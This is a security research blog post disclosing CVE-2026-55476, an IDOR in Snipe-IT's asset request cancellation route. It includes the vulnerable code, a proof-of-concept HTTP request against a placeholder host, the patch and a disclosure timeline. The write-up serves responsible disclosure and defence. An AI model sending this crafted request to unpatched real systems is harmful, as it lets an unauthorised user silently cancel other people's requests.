security research
iltosec
← back to blog
CVE Vulnerability Research CVE enumeration

CVE-2026-55476: Snipe-IT Unauthorized Asset Request Cancellation via cancel_by_admin IDOR

Summary

CVE-2026-55476 affects Snipe-IT v8.5.0 and earlier. The route POST /account/request/{itemType}/{itemId}/{cancel_by_admin}/{requestingUser} accepts cancel_by_admin as a plain URL path segment with no authorization check. Any authenticated user -- regardless of permissions -- can cancel the pending asset requests of any other user.

CVSS Score: 6.5 Moderate  |  CVE: CVE-2026-55476  |  GHSA-53jc-27pc-x8r8  |  Authors: iltosec, tienneR 


What is Snipe-IT?

Snipe-IT is a popular open-source IT asset management system used by thousands of organisations worldwide to track hardware, software licences, accessories and consumables. It supports role-based access control, user self-service asset requests, and a REST API.


Vulnerability Details

Affected File

app/Http/Controllers/ViewAssetsController.php -- getRequestItem() method (line 164)

Root Cause

The method signature accepts $cancel_by_admin as a URL path segment:

public function getRequestItem(
    Request $request,
    $itemType,
    $itemId = null,
    $cancel_by_admin = false,
    $requestingUser = null
): RedirectResponse

When $cancel_by_admin is truthy, the isRequestedBy($user) ownership check in app/Models/Traits/Requestable.php is bypassed entirely:

The victim's row in checkout_requests gets canceled_at set -- the request is silently deleted.


Proof of Concept

Setup

Role User ID Permissions
Victim victimuser 7 assets.view.requestable
Attacker ali-low-priv 4 zero

Asset ID=3 (NewRequestableAssetsName) is configured as requestable.

Steps

Step 1 -- Admin creates a requestable asset.

Step 2 -- Victim navigates to /account/requestable-assets, clicks Request on the asset. The pending request is visible in the admin dashboard.


Admin session → Show pending request:


Step 3 -- Attacker (zero permissions) sends the following from any authenticated session:

POST /account/request/asset/3/1/7  HTTP/1.1
Host: target.example.com
X-CSRF-TOKEN: <valid_token>
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Cookie: snipeit_session=<attacker_session>

_token=<valid_token>


Server responds HTTP 500 (notification email crashes) but the database write already executed.

Admin session → Show pending request:

Path segments:
- asset -- item type
- 3 -- asset ID
- 1 -- cancel_by_admin (truthy)
- 7 -- victim user ID

Result

The server responds HTTP 500 (a transactional email crashes), but the database write already executed. The victim's request row is deleted with no notification sent and no log entry attributed to the attacker.


Impact


Fix

Patched released in v8.6.1.

Add an authorization check before accepting the cancel_by_admin flag:

public function getRequestItem(Request $request, $itemType, $itemId = null,
    $cancel_by_admin = false, $requestingUser = null): RedirectResponse
{
    if ($cancel_by_admin) {
        $this->authorize('update', User::class);
    }
    // ... rest of method unchanged

After the fix, a zero-permission user receives HTTP 403 This action is unauthorized.


Disclosure Timeline

Date Event
2026-05-21 Vulnerability discovered
2026-05-21 Report submitted to Snipe-IT security team
2026-05-27 Vendor confirmed, patch development started
2026-06-24 CVE-2026-55476 assigned, advisory published
2026-06-24 v8.6.1 released

References

found this useful?
share on x ↗
related posts